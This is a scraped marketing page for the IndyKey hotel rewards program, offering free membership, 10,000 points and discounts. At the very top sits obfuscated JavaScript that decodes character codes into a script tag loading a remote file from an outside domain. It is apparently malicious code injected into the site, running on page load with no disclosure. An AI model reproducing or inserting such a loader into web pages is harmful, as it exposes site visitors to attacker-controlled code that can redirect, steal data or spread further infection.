Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Hotel Deals & Rewards

Join For Free. Get 10,000 Points.
Save up to 60%

By joining, you agree to the IndyKey Membership Terms & Privacy Policy

For Travellers that Love
Independent Hotels and Resorts

Get Immediate Access to Member Deals

Member-only deals  Get 10,000 Reward Points  Save Up to 60%

How it works

GET DEALS

We find the best hotel deals every month and provide them to our members. Join for free. Get 10,000 Points.

REDEEM NOW

Join & you’ll get instant member access to redeem 10,000 Points. This will give save you up to 60% off at over 1,000 Resort destinations.

BOOK HOTELS

Earn rewards at over 250,000 hotels, resorts and vacation rentals around the world. 4% at Brands, 8% at Independents and 20% at IndyKey Preferred Hotels.

EARN 20% Back in IndyKey Hotel Reward Points

IndyKey Preferred Hotels & Resorts

Join for free. Get 10,000 Hotel Reward Points. Just for Joining.

By joining, you agree to the IndyKey Membership Terms & Privacy Policy